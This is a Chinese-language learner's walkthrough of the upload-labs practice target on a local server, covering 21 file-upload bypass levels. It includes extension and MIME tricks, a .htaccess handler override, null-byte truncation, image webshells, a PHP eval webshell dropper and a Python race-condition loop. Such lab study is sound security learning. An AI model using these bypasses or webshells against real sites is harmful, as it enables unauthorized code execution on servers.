文件上传漏洞
upload_labs靶机练习
前言:
这是我练习文件上传漏洞时候,顺手整理下来的练习报告,本人小白一个从基础漏洞开始学习,有什么错误欢迎指出,勿喷。
文章纯属是为了交流学习,如有不正当利用,和我无法律关系。
因为不同地方下载的upload_labs靶机不一样,所以我这下面的关卡顺序可能和你的不一样。
靶机地址:本机搭建的phpstudy http://127.0.0.1/upload/Pass-01/index.php
测试浏览器:火狐
测试平台靶机:upload_labs
Pass-01
1.创建一个 muma.txt 文件 把文件类型改为 muma.png, 放入一个phpinfo 文件
文件代码:
<?php phpinfo();?>
2. 打开代理,打开burpsuit
尝试直接上传php文件,失败,因为没有出代理就提示错误,应该是在客户端验证的上传文件类型,可以使用burpsuit绕过
选择上传新创建的文件 muma.png,在burpsuit 中将muma.png类型改变一下,改为:muma.php, 然后点击forward 发送。
ps:这以后都是左边黑色的为upload_labs靶机浏览器的上传文件,右边白色为burpsuit
查看上传路径
上传成功
Pass-02
1.第二关,和第一关差不多,就是在改变type的同时还得便MIME(文件打开类型)改变。
Pass-03
基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
按上一步骤更改文件名字上去,上传文件上去。发现不允许上传.php, .asp , .aspx, .jsp 等后缀名文件。 大小写绕过也不行
应该是在服务端设置了白名单,黑名单。 所以我们可以上传其他的可执行文件。其他的后缀名文件:例如php1、php2、phtml、php5等等。
把文件名 从muma.png 改为 muma.php1
Pass-04
打开源代码发现,黑名单有一大串,估计绕过是不行了
仔细看一下没有禁止: . htaccess
htaccess文件介绍:
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
创建 .htaccess 文件 并将其上传,文件内容为:
SetHandler application/x-httpd-php
ps文件名就是:.htaccess 不用加上名字否则gif文件不能执行
最后再把图片木马上传上去,所有文件都会被解析成.php文件。所以上传成功
Pass-05
文件名绕过方式:大小写绕过,文件名后加. 绕过,文件名前后加空格绕过,文件名后加. .(点+空格+点) 绕过等等。
黑名单加上了.htaccess,但是没有将后缀进行大小写统一,
查看源代码:文件名末尾加点,大小写,字符串,和首尾加空格 都被禁止
所以使用:空格+.+空格(. .) 绕过 例如:muma.php. .
Pass-06
大小写绕过原理:
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和 TesT.php就是不一样的。
即:windows对大小写不敏感,Linux对大小写敏感。
查看源代码,发现大小写转换代码,没有了。 可以使用大小写绕过
查看上传路径
Pass-07
黑名单,点号绕过:
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
查看源代码,发现删除文件名前后空格的代码没有了,即可以在burpsuit代理中使用文件名后面加空格绕过。
查看路径
访问文件
Pass-08
.号绕过原理:
Windows系统下,文件后缀名最后一个点会被自动去除。
查看源代码,发现文件名后加点,去除的代码没有了, 可以使用文件名后加点绕过。即:muma.php.
查看上传文件路径
访问文件
Pass-09
特殊符号绕过原理:
Windows系统下,如果上传的文件名中muma.php::$DATA会在服务器上生成一个muma.php的文件,其中内容和所上传文件内容相同,并被解析。
查看文件上传路径
访问文件
Pass-10
第十关 分析代码 ,文件名需要空格+.空格(. .) 绕过
查看文件上传路径
访问文件
Pass-11
str_ireplace 函数将符合黑名单的后缀名替换为空, 所以可以使用双写绕过
将muma.gif 改为 muma.pphphp
查看文件上传路径
访问文件
Pass-12
第十二关,需要PHP版本低于5.3.29,且magic_quotes_gpc为关闭状态。
2018 phpstudy切换版本的方式
选择版本
关闭magic_quotes_gpc,其他选项—>php扩展及设计—>参数开关设置
—>magic_quotes_gpc 把钩去掉即可
上传一个muma.php文件,再在burp 中改为muma.php 同时调整save_path 参数截断为:
/upload/upload/muma.php%00
Pass-13
和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
查看上传路径
访问目录
Pass-14
从这一关开始,要开始用图片木马(图片+一句话木马),当然也可以加其他可执行代码。
废话少说,图片压惊 熊图+一句话木马txt文件 == yiju.jpg
制作图片马:
windows—>cmd: copy yi.jpg /b + 111.txt /a hell.jpg
直接上传,使用burp截取即可,不用改动。只是为了在上面查看上传路径
查看上传路径
访问文件,使用 中国菜刀或者蚁剑 结合一句话木马图片和文件包含的方式完成目录的获取
Pass-15
在第十五关前一关用的图片马就用不了了,因为前面的方法制作的图片马会导致图片损坏,所以我们得使用另一个方法制作一张不损坏得图片马。
可以使用winhex或者其他二进制软件打开,直接把一句话木马粘贴在图片得最后,保持即可
直接把图片上传,查看文件的路径
利用文件包含,使用中国菜刀或者蚁剑 结合一句话木马图片和文件包含的方式完成目录的获取
Pass-16
第十六关,只要打开php_exif模块,就可以成功上传木马图片。木马图片的制作和第十五关的就行,即使用winhex制作。
2018phpstudy打开php_exif模块
正常上传图片,获取上传图片路径
利用文件包含,使用蚁剑或中国菜刀
Pass-17
第十七关使用容易绕过二次渲染的gif,可以使用上面两关使用copy或者winhex
- 将图片马直接上传,发现无法使用菜刀利用,将图片下载下来
- 把上传之前的图片 和下载下来的图片 放入winhex 进行对比,
可以找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方。
3.直接把渲染好的图片,即二次加马的图片直接上传
ps:这一步骤,如果是用肉眼找不同的,图片有多小找多小。
Pass-18
这一关是先上传再判断,所以是在判断前就对上传文件进行请求。
1.先创建一个webshell.php,内容为
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>
2.这里为了方便快速,修改以下源代码
再使用python不断请求
import requests
while 1 :
requests.get("http://192.168.248.128/upload/upload/webshell.php")
3.开启代码,然后直接上传webshell.php文件
查看是否成功上传文件
ps:这一关我虽然最终成功了,但是有点侥幸。试了几十次开启python上传webshell,只成功了两次,因为python出现了一些问题http 最大连接数
Pass-19
第十九关 就必须上传的文件是白名单中的文件了
1.直接上传copy制作的或者winhex制作的图片
2.找到 上传文件路径,然后再使用蚁剑或者中国菜刀利用即可
Pass-20
这一关可以像前面,利用图片马结合文件包含漏洞使用。
直接上传 .php 文件
查看上传路径
访问文件
Pass-21
这一关可以像前面,利用图片马结合文件包含漏洞使用。
查看上传路径
最后使用蚁剑连接即可。
学习攻击是为了更好的防御,爱与正义才是真谛。
文章纯属是为了交流学习,如有不正当利用,和我无任何法律关系。
参考链接